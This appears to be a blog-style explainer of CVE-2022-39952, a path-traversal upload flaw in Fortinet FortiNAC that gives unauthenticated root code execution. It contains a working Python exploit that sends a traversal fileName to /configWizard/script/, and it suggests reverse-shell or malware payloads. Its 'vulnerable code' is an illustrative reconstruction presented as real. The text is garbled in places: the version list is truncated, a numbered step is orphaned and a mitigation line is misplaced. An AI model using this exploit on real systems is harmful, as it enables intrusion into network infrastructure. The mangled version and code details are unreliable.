CVE-2022-39952 - How a Simple Filename Flaw in Fortinet FortiNAC Led to Remote Code Execution

Table of Contents

What Is CVE-2022-39952?

In 2023, security researchers uncovered a critical vulnerability in Fortinet’s FortiNAC network access control solution. CVE-2022-39952, CVSS 9.8 (Critical), allows unauthenticated remote attackers to execute commands with root privileges, simply by sending a malicious HTTP request.

Affected versions include:

8.3.7

This bug comes down to "external control of file name or path"—in other words: the application lets users pick file names or paths in an insecure way. Let’s break it down and show how attackers have used it.

Who Is Affected?

If you're running FortiNAC in any of the above versions, your organization could be exposed to full compromise without authentication. Given the typical role of FortiNAC—in controlling who and what gets onto your network—this could mean an attacker could quickly take over central parts of your infrastructure.

Understanding the Vulnerability

The root cause of CVE-2022-39952 lies in how FortiNAC handled HTTP requests to its /configWizard/script/ endpoint. The application would take user input, including file names and paths, and use them directly without any effective validation.

The vulnerable code

Through reverse engineering and public reports, it’s understood that the FortiNAC web server, running as root, processes script uploads as part of its configuration wizard. Attackers can abuse the fileName parameter:

def handle_script_upload(request):
    filename = request.POST['fileName']  # <-- UNSAFE
    with open('/bsc/campusMgr/configWizard/scripts/' + filename, 'wb') as f:
        f.write(request.FILES['file'].read())
    # file is then executed!

So by supplying a crafted filename and payload, an attacker writes an arbitrary shell script to the server—then this script is executed with root privileges.

What does exploitation look like?

An attacker sends a POST request to the vulnerable endpoint with a file containing shell commands, and a filename that points where to write it.

Here's an example of an unauthenticated exploit in Python (for educational use only)

import requests

target = "https://victim-fortinac.example.com";
vuln_url = f"{target}/configWizard/script/"
payload = "touch /tmp/pwned; id > /tmp/whoami"

files = {
    "file": ("exploit.sh", payload),
}
data = {
    "fileName": "../../../../../tmp/exploit.sh"  # Directory traversal!
}

r = requests.post(vuln_url, files=files, data=data, verify=False)
print(f"HTTP status: {r.status_code}")

# The file at /tmp/exploit.sh now runs as root!

Attackers can add whatever they want to the payload—such as reverse shells, downloading further malware, or extracting sensitive files.

Craft a shell script payload.

2. Send a POST request to /configWizard/script/ with a path like ../../../../../tmp/exploit.sh as fileName, escaping the intended directory.

Real-World Attack Scenarios

After this flaw went public, proof-of-concept (POC) exploits appeared online almost immediately. Threat actors began scanning for vulnerable FortiNAC systems—even nation-state groups have been observed using this exploit.

Removing the ability to write outside the intended script directory.

If you run a FortiNAC appliance, patch IMMEDIATELY.  
Official Fortinet Advisory

Update fixed versions:

8.5.5 or above

If you can't patch, consider disabling the affected web interface and restrict access at the network layer as a temporary measure.

Final Thoughts & Further Reading

CVE-2022-39952 is a classic example of how insecure handling of file paths in web applications—especially as root services—can have devastating consequences. FortiNAC customers should treat this as a fire drill: patch as soon as possible and review logs for signs of compromise.

More Information & Resources

- Original FortiGuard Advisory
- NIST NVD Entry for CVE-2022-39952
- Rapid7 Analysis and PoC
- BleepingComputer's Report

If you operate FortiNAC, updating is not a suggestion—it’s a necessity.

Timeline

Published on: 02/16/2023 19:15:00 UTC
Last modified on: 02/24/2023 23:46:00 UTC